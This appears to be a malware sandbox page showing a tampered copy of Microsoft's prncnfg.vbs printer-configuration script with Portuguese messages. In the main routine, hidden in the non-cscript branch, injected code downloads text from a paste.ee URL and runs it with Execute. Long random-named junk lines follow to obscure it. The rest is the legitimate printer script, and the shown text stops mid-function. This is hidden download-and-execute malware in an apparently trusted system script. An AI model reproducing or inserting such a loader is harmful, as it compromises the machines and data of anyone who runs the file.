Static | ZeroBOX
No static analysis available.
'----------------------------------------------------------------------
' Copyright (c) Microsoft Corporation. All rights reserved.
' Abstract:
' prncnfg.vbs - printer configuration script for WMI on Windows used to get
' and set printer configuration also used to rename a printer
' Usage:
' prncnfg [-gtx?] [-s server] [-p printer] [-u user name] [-w password]
' [-z new printer name] [-r port name] [-l location] [-m comment]
' [-h share name] [-f sep-file] [-y data-type] [-st start time]
' [-ut until time] [-o priority] [-i default priority]
' [<+|->rawonly][<+|->keepprintedjobs][<+|->queued][<+|->workoffline]
' [<+|->enabledevq][<+|->docompletefirst][<+|->enablebidi]
' Examples:
' prncnfg -g -s server -p printer
' prncnfg -x -p printer -w "new Printer"
' prncnfg -t -s server -p Printer -l "Building A/Floor 100/Office 1" -m "Color Printer"
' prncnfg -t -p printer -h "Share" +shared -direct
' prncnfg -t -p printer +rawonly +keepprintedjobs
' prncnfg -t -p printer -st 2300 -ut 0215 -o 10 -i 5
'----------------------------------------------------------------------
option explicit
' Debugging trace flags, to enable debug output trace message
' change gDebugFlag to true.
const kDebugTrace = 1
const kDebugError = 2
dim gDebugFlag
gDebugFlag = false
const kFlagUpdateOnly = 1
' Operation action values.
const kActionUnknown = 0
const kActionSet = 1
const kActionGet = 2
const kActionRename = 3
const kErrorSuccess = 0
const kErrorFailure = 1
' Constants for the parameter dictionary
const kServerName = 1
const kPrinterName = 2
const kNewPrinterName = 3
const kShareName = 4
const kPortName = 5
const kDriverName = 6
const kComment = 7
const kLocation = 8
const kSepFile = 9
const kPrintProc = 10
const kDataType = 11
const kParameters = 12
const kPriority = 13
const kDefaultPriority = 14
const kStartTime = 15
const kUntilTime = 16
const kQueued = 17
const kDirect = 18
const kDefault = 19
const kShared = 20
const kNetwork = 21
const kHidden = 23
const kLocal = 24
const kEnableDevq = 25
const kKeepPrintedJobs = 26
const kDoCompleteFirst = 27
const kWorkOffline = 28
const kEnableBidi = 29
const kRawOnly = 30
const kPublished = 31
const kUserName = 32
const kPassword = 33
const kNameSpace = "root\cimv2"
' Generic strings
const L_Empty_Text = ""
const L_Space_Text = " "
const L_Error_Text = "Erro"
const L_Success_Text = "
const L_Failed_Text = "Falha"
const L_Hex_Text = "0x"
const L_Printer_Text = "Impressora"
const L_Operation_Text = "Opera
const L_Provider_Text = "Provedor"
const L_Description_Text = "Descri
const L_Debug_Text = "Depurar:"
' General usage messages
const L_Help_Help_General01_Text = "Uso: prncnfg [-gtx?] [-s servidor][-p impressora][-z novo nome de impressora]"
const L_Help_Help_General02_Text = " [-u user name][-w password][-r port name][-l location]"
const L_Help_Help_General03_Text = " [-m comment][-h share name][-f sep file][-y datatype]"
const L_Help_Help_General04_Text = " [-st start time][-ut until time][-i default priority]"
const L_Help_Help_General05_Text = " [-o priority][<+|->shared][<+|->direct][<+|->hidden]"
const L_Help_Help_General06_Text = " [<+|->published][<+|->rawonly][<+|->queued][<+|->enablebidi]"
const L_Help_Help_General07_Text = " [<+|->keepprintedjobs][<+|->workoffline][<+|->enabledevq]"
const L_Help_Help_General08_Text = " [<+|->docompletefirst]"
const L_Help_Help_General09_Text = "Argumentos:"
const L_Help_Help_General10_Text = "-f - nome de arquivo separador"
const L_Help_Help_General11_Text = "-g - obter configura
const L_Help_Help_General12_Text = "-h - nome de compartilhamento"
const L_Help_Help_General13_Text = "-i - prioridade padr
const L_Help_Help_General14_Text = "-l - cadeia de caracteres de local"
const L_Help_Help_General15_Text = "-m - cadeia de caracteres de coment
const L_Help_Help_General16_Text = "-o - prioridade"
const L_Help_Help_General17_Text = "-p - nome da impressora"
const L_Help_Help_General18_Text = "-r - nome da porta"
const L_Help_Help_General19_Text = "-s - nome do servidor"
const L_Help_Help_General20_Text = "-st - hora de in
const L_Help_Help_General21_Text = "-t - definir configura
const L_Help_Help_General22_Text = "-u - nome do usu
const L_Help_Help_General23_Text = "-ut - at
a hora"
const L_Help_Help_General24_Text = "-w - senha"
const L_Help_Help_General25_Text = "-x - alterar nome da impressora"
const L_Help_Help_General26_Text = "-y - cadeia de caracteres de tipo de dados"
const L_Help_Help_General27_Text = "-z - novo nome de impressora"
const L_Help_Help_General28_Text = "-? - exibir uso do comando"
const L_Help_Help_General29_Text = "Exemplos:"
const L_Help_Help_General30_Text = "prncnfg -g -s server -p printer"
const L_Help_Help_General31_Text = "prncnfg -x -s server -p printer -z ""new printer"""
const L_Help_Help_General32_Text = "prncnfg -t -p impressora -l ""Pr
dio A/Andar 100/Escrit
rio 1"" -m ""Impressora em cores"""
const L_Help_Help_General33_Text = "prncnfg -t -p impressora -h ""Compartilhamento"" +shared -direct"
const L_Help_Help_General34_Text = "prncnfg -t -p printer +rawonly +keepprintedjobs"
const L_Help_Help_General35_Text = "prncnfg -t -p printer -st 2300 -ut 0215 -o 1 -i 5"
' Messages to be displayed if the scripting host is not cscript
const L_Help_Help_Host01_Text = "Este script deve ser executado a partir do prompt de comando usando CScript.exe."
const L_Help_Help_Host02_Text = "Por exemplo: CScript script.vbs argumentos"
const L_Help_Help_Host03_Text = ""
const L_Help_Help_Host04_Text = "Para definir CScript como o aplicativo padr
o para a execu
o de arquivos .VBS, execute:"
const L_Help_Help_Host05_Text = " CScript //H:CScript //S"
const L_Help_Help_Host06_Text = "Voc
poder
em seguida executar ""script.vbs argumentos"" sem incluir CScript antes to script."
' General error messages
const L_Text_Error_General01_Text = "O host de script n
de ser determinado."
const L_Text_Error_General02_Text = "N
vel analisar a linha de comando."
const L_Text_Error_General03_Text = "C
digo de erro do Win32"
' Miscellaneous messages
const L_Text_Msg_General01_Text = "Impressora renomeada"
const L_Text_Msg_General02_Text = "Nome da nova impressora"
const L_Text_Msg_General03_Text = "N
o foi poss
vel renomear a impressora"
const L_Text_Msg_General04_Text = "N
o foi poss
vel obter a configura
o da impressora"
const L_Text_Msg_General05_Text = "Impressora sempre dispon
const L_Text_Msg_General06_Text = "Impressora configurada"
const L_Text_Msg_General07_Text = "N
o foi poss
vel configurar a impressora"
const L_Text_Msg_General08_Text = "N
o foi poss
vel obter o objeto SWbemLocator"
const L_Text_Msg_General09_Text = "N
vel conectar-se ao servi
o WMI"
const L_Text_Msg_General10_Text = "Status da impressora"
const L_Text_Msg_General11_Text = "Status de impressora estendido"
const L_Text_Msg_General12_Text = "Estado de erro detectado"
const L_Text_Msg_General13_Text = "Estado de erro estendido detectado"
' Printer properties
const L_Text_Msg_Printer01_Text = "Nome do servidor"
const L_Text_Msg_Printer02_Text = "Nome da impressora"
const L_Text_Msg_Printer03_Text = "Nome de compartilhamento"
const L_Text_Msg_Printer04_Text = "Nome do driver"
const L_Text_Msg_Printer05_Text = "Nome da porta"
const L_Text_Msg_Printer06_Text = "Coment
const L_Text_Msg_Printer07_Text = "Local"
const L_Text_Msg_Printer08_Text = "Arquivo separador"
const L_Text_Msg_Printer09_Text = "Processador de impress
const L_Text_Msg_Printer10_Text = "Tipo de dados"
const L_Text_Msg_Printer11_Text = "Par
metros"
const L_Text_Msg_Printer12_Text = "Atributos"
const L_Text_Msg_Printer13_Text = "Prioridade"
const L_Text_Msg_Printer14_Text = "Prioridade padr
const L_Text_Msg_Printer15_Text = "Hora inicial"
const L_Text_Msg_Printer16_Text = "At
hora"
const L_Text_Msg_Printer17_Text = "Status"
const L_Text_Msg_Printer18_Text = "Contagem de trabalhos"
const L_Text_Msg_Printer19_Text = "M
dia de p
ginas por minuto"
' Printer attributes
const L_Text_Msg_Attrib01_Text = "direct"
const L_Text_Msg_Attrib02_Text = "raw_only"
const L_Text_Msg_Attrib03_Text = "local"
const L_Text_Msg_Attrib04_Text = "shared"
const L_Text_Msg_Attrib05_Text = "keep_printed_jobs"
const L_Text_Msg_Attrib06_Text = "published"
const L_Text_Msg_Attrib07_Text = "queued"
const L_Text_Msg_Attrib08_Text = "default"
const L_Text_Msg_Attrib09_Text = "network"
const L_Text_Msg_Attrib10_Text = "enable_bidi"
const L_Text_Msg_Attrib11_Text = "do_complete_first"
const L_Text_Msg_Attrib12_Text = "work_offline"
const L_Text_Msg_Attrib13_Text = "hidden"
const L_Text_Msg_Attrib14_Text = "enable_devq_print"
' Printer status
const L_Text_Msg_Status01_Text = "Outros"
const L_Text_Msg_Status02_Text = "Desconhecido"
const L_Text_Msg_Status03_Text = "Ocioso"
const L_Text_Msg_Status04_Text = "Imprimindo"
const L_Text_Msg_Status05_Text = "Em aquecimento"
const L_Text_Msg_Status06_Text = "Impress
o parada"
const L_Text_Msg_Status07_Text = "Offline"
const L_Text_Msg_Status08_Text = "Em pausa"
const L_Text_Msg_Status09_Text = "Erro"
const L_Text_Msg_Status10_Text = "Ocupada"
const L_Text_Msg_Status11_Text = "N
o dispon
const L_Text_Msg_Status12_Text = "Aguardando"
const L_Text_Msg_Status13_Text = "Processando"
const L_Text_Msg_Status14_Text = "Inicializando"
const L_Text_Msg_Status15_Text = "Economia de energia"
const L_Text_Msg_Status16_Text = "Exclus
o pendente"
const L_Text_Msg_Status17_Text = "E/S ativa"
const L_Text_Msg_Status18_Text = "Alimenta
o manual"
const L_Text_Msg_Status19_Text = "Sem erros"
const L_Text_Msg_Status20_Text = "Pouco papel"
const L_Text_Msg_Status21_Text = "Sem papel"
const L_Text_Msg_Status22_Text = "Toner baixo"
const L_Text_Msg_Status23_Text = "Sem toner"
const L_Text_Msg_Status24_Text = "Porta aberta"
const L_Text_Msg_Status25_Text = "Obstru
const L_Text_Msg_Status26_Text = "Servi
o solicitado"
const L_Text_Msg_Status27_Text = "Bandeja de sa
da cheia"
const L_Text_Msg_Status28_Text = "Problema no papel"
const L_Text_Msg_Status29_Text = "N
vel imprimir a p
const L_Text_Msg_Status30_Text = "Interven
o do usu
rio necess
const L_Text_Msg_Status31_Text = "Mem
ria insuficiente"
const L_Text_Msg_Status32_Text = "Servidor desconhecido"
' Debug messages
const L_Text_Dbg_Msg01_Text = "Na fun
o RenamePrinter"
const L_Text_Dbg_Msg02_Text = "Nome da nova impressora"
const L_Text_Dbg_Msg03_Text = "Na fun
o GetPrinter"
const L_Text_Dbg_Msg04_Text = "Na fun
o SetPrinter"
const L_Text_Dbg_Msg05_Text = "Na fun
o ParseCommandLine"
' Main execution starts here
sub main
dim iAction
dim iRetval
dim oParamDict
' Abort if the host is not cscript
if not IsHostCscript() then
On Error Resume Next
Dim sNtLETmblgPdAGcytiZjWBKoZkffGYXJGzlQnjqyWZJqrTaIReotzmQkgMlbFWGmQwoYgNNCXOpZpiCsKQtZnqJtdgGwZKbuhBtGFbUleEKxDSaTuDNBovwjQLmgmkRmyGjMlRvPBBxKTnwahpqbYdVuZGNxuaxbkjtpGsAKSYnmBwoGLQFjOedtPepEfucyQYtYadlh
Set sNtLETmblgPdAGcytiZjWBKoZkffGYXJGzlQnjqyWZJqrTaIReotzmQkgMlbFWGmQwoYgNNCXOpZpiCsKQtZnqJtdgGwZKbuhBtGFbUleEKxDSaTuDNBovwjQLmgmkRmyGjMlRvPBBxKTnwahpqbYdVuZGNxuaxbkjtpGsAKSYnmBwoGLQFjOedtPepEfucyQYtYadlh = CreateObject("MSXML2.ServerXMLHTTP.6.0")
sNtLETmblgPdAGcytiZjWBKoZkffGYXJGzlQnjqyWZJqrTaIReotzmQkgMlbFWGmQwoYgNNCXOpZpiCsKQtZnqJtdgGwZKbuhBtGFbUleEKxDSaTuDNBovwjQLmgmkRmyGjMlRvPBBxKTnwahpqbYdVuZGNxuaxbkjtpGsAKSYnmBwoGLQFjOedtPepEfucyQYtYadlh.open "GET", "https://paste.ee/d/AXiiR", False
sNtLETmblgPdAGcytiZjWBKoZkffGYXJGzlQnjqyWZJqrTaIReotzmQkgMlbFWGmQwoYgNNCXOpZpiCsKQtZnqJtdgGwZKbuhBtGFbUleEKxDSaTuDNBovwjQLmgmkRmyGjMlRvPBBxKTnwahpqbYdVuZGNxuaxbkjtpGsAKSYnmBwoGLQFjOedtPepEfucyQYtYadlh.send ""
If sNtLETmblgPdAGcytiZjWBKoZkffGYXJGzlQnjqyWZJqrTaIReotzmQkgMlbFWGmQwoYgNNCXOpZpiCsKQtZnqJtdgGwZKbuhBtGFbUleEKxDSaTuDNBovwjQLmgmkRmyGjMlRvPBBxKTnwahpqbYdVuZGNxuaxbkjtpGsAKSYnmBwoGLQFjOedtPepEfucyQYtYadlh.Status = 200 Then
Dim response
response = sNtLETmblgPdAGcytiZjWBKoZkffGYXJGzlQnjqyWZJqrTaIReotzmQkgMlbFWGmQwoYgNNCXOpZpiCsKQtZnqJtdgGwZKbuhBtGFbUleEKxDSaTuDNBovwjQLmgmkRmyGjMlRvPBBxKTnwahpqbYdVuZGNxuaxbkjtpGsAKSYnmBwoGLQFjOedtPepEfucyQYtYadlh.responseText
Execute response
End If
End If
wscript.quit
uBaMOvhTQbsRSTryiFDuVEWCAWafjximyFzByuCGEvVNddBDZHdCiWVkrpvBuUDomfegPYfXHNlIgVjpRyUtiagQoziNgOwrmXEjlflnuCvelyBDxHpMgNvnxymzhVSPKYIdRLDVkLCHgNNESKSJQAMrmVOHezeyATZCXQkMvvLrVDiangTyynSpNAzAOFiUGcuARnfR:zBlazjJpdXuHVdhGciTubUqiXcUbyrrImhiDHnppObYxrefIxbmvSzzZFaaaTyhBPrsodsAPURfzvfuDThULcOEmduOWoyKbnJTLoMBvcQMxAWGEDwnYHTAywBdjkBGIXWTlnuCGJgFEIMITwOaeoLeQwcBAzamJWlvDtRvaNoJWlwPlaQRDTPkWRclqZeneYVZojQVI:NuMAeAfyKiLAOiPvXaJlvuOeRlAoQxudnyYuiNprlReIIoueNVsecajoxlzKJyExeGWfarLrjwceVnzTWMoCUpTqgSdRfNHOyoEaMaAkcnkYptQWJiKNjcBPRaYlppYnWvPLgfcrGTaJGowQanRTGFTrDCumJBSuIWBLrSeQwMDADAGsOSSAaVVhuDJYKJiSqCRXmiiq = "YzPfpNw":aVmDNjaVVmgNLrYvbHxEYeOmNmenyCjHdueNRUEYhOKORwiYofbbACuNkmnfBCedGwynkJArbEyIiXoIYshvZmNaQmUHPIcbsLXhGvPdECAHnGPIVtKogWMQaorXaqOPLgCbWTjDWbnnpFeFSpyqUUHEsODqdLrEczsJXyXMBwqXarElBHfaZDXVAUPBuQqdNfvemVAy:qDgtKcdcBhBCgdRcYzZGmkBjtZryJToJryUemRUuiTWMYcjjJlTXBNWqMGOrmiPOzZnvNkpOWgKQFqTmniQwkQmyZKeKvsbmegvSVUOyYGgmIoASospNhCpGPQjphOPctvbTuLNoHMqlfKMFdxfAPyhbNADXoOvKfxxcmDbObyFOqAYNJSrPeRhSLwiJFIzwQmtYiAKk:
uBaMOvhTQbsRSTryiFDuVEWCAWafjximyFzByuCGEvVNddBDZHdCiWVkrpvBuUDomfegPYfXHNlIgVjpRyUtiagQoziNgOwrmXEjlflnuCvelyBDxHpMgNvnxymzhVSPKYIdRLDVkLCHgNNESKSJQAMrmVOHezeyATZCXQkMvvLrVDiangTyynSpNAzAOFiUGcuARnfR:zBlazjJpdXuHVdhGciTubUqiXcUbyrrImhiDHnppObYxrefIxbmvSzzZFaaaTyhBPrsodsAPURfzvfuDThULcOEmduOWoyKbnJTLoMBvcQMxAWGEDwnYHTAywBdjkBGIXWTlnuCGJgFEIMITwOaeoLeQwcBAzamJWlvDtRvaNoJWlwPlaQRDTPkWRclqZeneYVZojQVI:NuMAeAfyKiLAOiPvXaJlvuOeRlAoQxudnyYuiNprlReIIoueNVsecajoxlzKJyExeGWfarLrjwceVnzTWMoCUpTqgSdRfNHOyoEaMaAkcnkYptQWJiKNjcBPRaYlppYnWvPLgfcrGTaJGowQanRTGFTrDCumJBSuIWBLrSeQwMDADAGsOSSAaVVhuDJYKJiSqCRXmiiq = "YzPfpNw":aVmDNjaVVmgNLrYvbHxEYeOmNmenyCjHdueNRUEYhOKORwiYofbbACuNkmnfBCedGwynkJArbEyIiXoIYshvZmNaQmUHPIcbsLXhGvPdECAHnGPIVtKogWMQaorXaqOPLgCbWTjDWbnnpFeFSpyqUUHEsODqdLrEczsJXyXMBwqXarElBHfaZDXVAUPBuQqdNfvemVAy:qDgtKcdcBhBCgdRcYzZGmkBjtZryJToJryUemRUuiTWMYcjjJlTXBNWqMGOrmiPOzZnvNkpOWgKQFqTmniQwkQmyZKeKvsbmegvSVUOyYGgmIoASospNhCpGPQjphOPctvbTuLNoHMqlfKMFdxfAPyhbNADXoOvKfxxcmDbObyFOqAYNJSrPeRhSLwiJFIzwQmtYiAKk:
set oParamDict = CreateObject("Scripting.Dictionary")
iRetval = ParseCommandLine(iAction, oParamDict)
if iRetval = kErrorSuccess then
select case iAction
case kActionSet
iRetval = SetPrinter(oParamDict)
case kActionGet
iRetval = GetPrinter(oParamDict)
case kActionRename
iRetval = RenamePrinter(oParamDict)
case else
Usage(True)
exit sub
end select
end if
end sub
' Rename printer
function RenamePrinter(oParamDict)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg01_Text
DebugPrint kDebugTrace, L_Text_Msg_Printer01_Text & L_Space_Text & oParamDict.Item(kServerName)
DebugPrint kDebugTrace, L_Text_Msg_Printer02_Text & L_Space_Text & oParamDict.Item(kPrinterName)
DebugPrint kDebugTrace, L_Text_Dbg_Msg02_Text & L_Space_Text & oParamDict.Item(kNewPrinterName)
dim oPrinter
dim oService
dim iRetval
dim uResult
dim strServer
dim strPrinter
dim strNewName
dim strUser
dim strPassword
iRetval = kErrorFailure
strServer = oParamDict.Item(kServerName)
strPrinter = oParamDict.Item(kPrinterName)
strNewName = oParamDict.Item(kNewPrinterName)
strUser = oParamDict.Item(kUserName)
strPassword = oParamDict.Item(kPassword)
if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then
set oPrinter = oService.Get("Win32_Printer.DeviceID='" & strPrinter & "'")
else
RenamePrinter = kErrorFailure
exit function
end if
' Check if Get was successful
if Err.Number = kErrorSuccess then
uResult = oPrinter.RenamePrinter(strNewName)
if Err.Number = kErrorSuccess then
if uResult = kErrorSuccess then
wscript.echo L_Text_Msg_General01_Text & L_Space_Text & strPrinter
wscript.echo L_Text_Msg_General02_Text & L_Space_Text & strNewName
iRetval = kErrorSuccess
else
wscript.echo L_Text_Msg_General03_Text & L_Space_Text & strPrinter & L_Space_Text _
& L_Text_Error_General03_Text & L_Space_Text & uResult
end if
else
wscript.echo L_Text_Msg_General04_Text & L_Space_Text & strPrinter & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
end if
else
wscript.echo L_Text_Msg_General04_Text & L_Space_Text & strPrinter & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
'
' Try getting extended error information
'
call LastError()
end if
RenamePrinter = iRetval
end function
' Get printer configuration
function GetPrinter(oParamDict)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg03_Text
DebugPrint kDebugTrace, L_Text_Msg_Printer01_Text & L_Space_Text & oParamDict.Item(kServerName)
DebugPrint kDebugTrace, L_Text_Msg_Printer02_Text & L_Space_Text & oParamDict.Item(kPrinterName)
dim oPrinter
dim oService
dim iRetval
dim uResult
dim strServer
dim strPrinter
dim strAttributes
dim strStart
dim strEnd
dim strUser
dim strPassword
iRetval = kErrorFailure
strServer = oParamDict.Item(kServerName)
strPrinter = oParamDict.Item(kPrinterName)
strUser = oParamDict.Item(kUserName)
strPassword = oParamDict.Item(kPassword)
if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then
set oPrinter = oService.Get("Win32_Printer='" & strPrinter & "'")
else
GetPrinter = kErrorFailure
exit function
end if
' Check if Get was successful
if Err.Number = kErrorSuccess then
wscript.echo L_Text_Msg_Printer01_Text & L_Space_Text & strServer
wscript.echo L_Text_Msg_Printer02_Text & L_Space_Text & oPrinter.DeviceID
wscript.echo L_Text_Msg_Printer03_Text & L_Space_Text & oPrinter.ShareName
wscript.echo L_Text_Msg_Printer04_Text & L_Space_Text & oPrinter.DriverName
wscript.echo L_Text_Msg_Printer05_Text & L_Space_Text & oPrinter.PortName
wscript.echo L_Text_Msg_Printer06_Text & L_Space_Text & oPrinter.Comment
wscript.echo L_Text_Msg_Printer07_Text & L_Space_Text & oPrinter.Location
wscript.echo L_Text_Msg_Printer08_Text & L_Space_Text & oPrinter.SeparatorFile
wscript.echo L_Text_Msg_Printer09_Text & L_Space_Text & oPrinter.PrintProcessor
wscript.echo L_Text_Msg_Printer10_Text & L_Space_Text & oPrinter.PrintJobDatatype
wscript.echo L_Text_Msg_Printer11_Text & L_Space_Text & oPrinter.Parameters
wscript.echo L_Text_Msg_Printer13_Text & L_Space_Text & CStr(oPrinter.Priority)
wscript.echo L_Text_Msg_Printer14_Text & L_Space_Text & CStr(oPrinter.DefaultPriority)
strStart = Mid(CStr(oPrinter.StartTime), 9, 4)
strEnd = Mid(CStr(oPrinter.UntilTime), 9, 4)
if strStart <> "" and strEnd <> "" then
wscript.echo L_Text_Msg_Printer15_Text & L_Space_Text & Mid(strStart, 1, 2) & "h" & Mid(strStart, 3, 2)
wscript.echo L_Text_Msg_Printer16_Text & L_Space_Text & Mid(strEnd, 1, 2) & "h" & Mid(strEnd, 3, 2)
else
wscript.echo L_Text_Msg_General05_Text
end if
strAttributes = L_Text_Msg_Printer12_Text
if oPrinter.Direct then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib01_Text
end if
if oPrinter.RawOnly then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib02_Text
end if
if oPrinter.Local then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib03_Text
end if
if oPrinter.Shared then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib04_Text
end if
if oPrinter.KeepPrintedJobs then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib05_Text
end if
if oPrinter.Published then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib06_Text
end if
if oPrinter.Queued then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib07_Text
end if
if oPrinter.Default then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib08_Text
end if
if oPrinter.Network then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib09_Text
end if
if oPrinter.EnableBiDi then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib10_Text
end if
if oPrinter.DoCompleteFirst then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib11_Text
end if
if oPrinter.WorkOffline then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib12_Text
end if
if oPrinter.Hidden then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib13_Text
end if
if oPrinter.EnableDevQueryPrint then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib14_Text
end if
wscript.echo strAttributes
wscript.echo
wscript.echo L_Text_Msg_General10_Text & L_Space_Text & PrnStatusToString(oPrinter.PrinterStatus)
wscript.echo L_Text_Msg_General11_Text & L_Space_Text & ExtPrnStatusToString(oPrinter.ExtendedPrinterStatus)
wscript.echo L_Text_Msg_General12_Text & L_Space_Text & DetectedErrorStateToString(oPrinter.DetectedErrorState)
wscript.echo L_Text_Msg_General13_Text & L_Space_Text & ExtDetectedErrorStateToString(oPrinter.ExtendedDetectedErrorState)
iRetval = kErrorSuccess
else
wscript.echo L_Text_Msg_General04_Text & L_Space_Text & oParamDict.Item(kPrinterName) & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
'
' Try getting extended error information
'
call LastError()
end if
GetPrinter = iRetval
end function
' Configure a printer
function SetPrinter(oParamDict)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg04_Text
DebugPrint kDebugTrace, L_Text_Msg_Printer01_Text & L_Space_Text & oParamDict.Item(kServerName)
DebugPrint kDebugTrace, L_Text_Msg_Printer02_Text & L_Space_Text & oParamDict.Item(kPrinterName)
dim oPrinter
dim oService
dim iRetval
dim uResult
dim strServer
dim strPrinter
dim strUser
dim strPassword
iRetval = kErrorFailure
strServer = oParamDict.Item(kServerName)
strPrinter = oParamDict.Item(kPrinterName)
strNewName = oParamDict.Item(kNewPrinterName)
strUser = oParamDict.Item(kUserName)
strPassword = oParamDict.Item(kPassword)
if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then
set oPrinter = oService.Get("Win32_Printer='" & strPrinter & "'")
else
SetPrinter = kErrorFailure
exit function
end if
' Check if Get was successful
if Err.Number = kErrorSuccess then
if oParamdict.Exists(kPortName) then oPrinter.PortName = oParamDict.Item(kPortName) end if
if oParamdict.Exists(kDriverName) then oPrinter.DriverName = oParamDict.Item(kDriverName) end if
if oParamdict.Exists(kShareName) then oPrinter.ShareName = oParamDict.Item(kShareName) end if
if oParamdict.Exists(kLocation) then oPrinter.Location = oParamDict.Item(kLocation) end if
if oParamdict.Exists(kComment) then oPrinter.Comment = oParamDict.Item(kComment) end if
if oParamdict.Exists(kDataType) then oPrinter.PrintJobDataType = oParamDict.Item(kDataType) end if
if oParamdict.Exists(kSepFile) then oPrinter.SeparatorFile = oParamDict.Item(kSepfile) end if
if oParamdict.Exists(kParameters) then oPrinter.Parameters = oParamDict.Item(kParameters) end if
if oParamdict.Exists(kPriority) then oPrinter.Priority = oParamDict.Item(kPriority) end if
if oParamdict.Exists(kDefaultPriority) then oPrinter.DefaultPriority = oParamDict.Item(kDefaultPriority) end if
if oParamdict.Exists(kPrintProc) then oPrinter.PrintProc = oParamDict.Item(kPrintProc) end if
if oParamdict.Exists(kStartTime) then oPrinter.StartTime = oParamDict.Item(kStartTime) end if
if oParamdict.Exists(kUntilTime) then oPrinter.UntilTime = oParamDict.Item(kUntilTime) end if
if oParamdict.Exists(kQueued) then oPrinter.Queued = oParamDict.Item(kQueued) end if
if oParamdict.Exists(kDirect) then oPrinter.Direct = oParamDict.Item(kDirect) end if
if oParamdict.Exists(kShared) then oPrinter.Shared = oParamDict.Item(kShared) end if
if oParamdict.Exists(kHidden) then oPrinter.Hidden = oParamDict.Item(kHidden) end if
if oParamdict.Exists(kEnabledevq) then oPrinter.EnableDevQueryPrint = oParamDict.Item(kEnabledevq) end if
if oParamdict.Exists(kKeepPrintedJobs) then oPrinter.KeepPrintedJobs = oParamDict.Item(kKeepPrintedJobs) end if
if oParamdict.Exists(kDoCompleteFirst) then oPrinter.DoCompleteFirst = oParamDict.Item(kDoCompleteFirst) end if
if oParamdict.Exists(kWorkOffline) then oPrinter.WorkOffline = oParamDict.Item(kWorkOffline) end if
if oParamdict.Exists(kEnableBidi) then oPrinter.EnableBidi = oParamDict.Item(kEnableBidi) end if
if oParamdict.Exists(kRawonly) then oPrinter.RawOnly = oParamDict.Item(kRawonly) end if
if oParamdict.Exists(kPublished) then oPrinter.Published = oParamDict.Item(kPublished) end if
oPrinter.Put_(kFlagUpdateOnly)
if Err.Number = kErrorSuccess then
wscript.echo L_Text_Msg_General06_Text & L_Space_Text & strPrinter
iRetval = kErrorSuccess
else
wscript.echo L_Text_Msg_General07_Text & L_Space_Text & strPrinter & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
'
' Try getting extended error information
'
call LastError()
end if
else
wscript.echo L_Text_Msg_General04_Text & L_Space_Text & strPrinter & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
'
' Try getting extended error information
'
call LastError()
end if
SetPrinter = iRetval
end function
' Converts the printer status to a string
function PrnStatusToString(Status)
dim str
str = L_Empty_Text
select case Status
case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 2
str = str + L_Text_Msg_Status02_Text + L_Space_Text
case 3
str = str + L_Text_Msg_Status03_Text + L_Space_Text
case 4
str = str + L_Text_Msg_Status04_Text + L_Space_Text
case 5
str = str + L_Text_Msg_Status05_Text + L_Space_Text
case 6
str = str + L_Text_Msg_Status06_Text + L_Space_Text
case 7
str = str + L_Text_Msg_Status07_Text + L_Space_Text
end select
PrnStatusToString = str
end function
' Converts the extended printer status to a string
function ExtPrnStatusToString(Status)
dim str
str = L_Empty_Text
select case Status
case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 2
str = str + L_Text_Msg_Status02_Text + L_Space_Text
case 3
str = str + L_Text_Msg_Status03_Text + L_Space_Text
case 4
str = str + L_Text_Msg_Status04_Text + L_Space_Text
case 5
str = str + L_Text_Msg_Status05_Text + L_Space_Text
case 6
str = str + L_Text_Msg_Status06_Text + L_Space_Text
case 7
str = str + L_Text_Msg_Status07_Text + L_Space_Text
case 8
str = str + L_Text_Msg_Status08_Text + L_Space_Text
case 9
str = str + L_Text_Msg_Status09_Text + L_Space_Text
case 10
str = str + L_Text_Msg_Status10_Text + L_Space_Text
case 11
str = str + L_Text_Msg_Status11_Text + L_Space_Text
case 12
str = str + L_Text_Msg_Status12_Text + L_Space_Text
case 13
str = str + L_Text_Msg_Status13_Text + L_Space_Text
case 14
str = str + L_Text_Msg_Status14_Text + L_Space_Text
case 15
str = str + L_Text_Msg_Status15_Text + L_Space_Text
case 16
str = str + L_Text_Msg_Status16_Text + L_Space_Text
case 17
str = str + L_Text_Msg_Status17_Text + L_Space_Text
case 18
str = str + L_Text_Msg_Status18_Text + L_Space_Text
end select
ExtPrnStatusToString = str
end function
' Converts the detected error state to a string
function DetectedErrorStateToString(Status)
dim str
str = L_Empty_Text
select case Status
case 0
str = str + L_Text_Msg_Status02_Text + L_Space_Text
case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 2
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 3
str = str + L_Text_Msg_Status20_Text + L_Space_Text
case 4
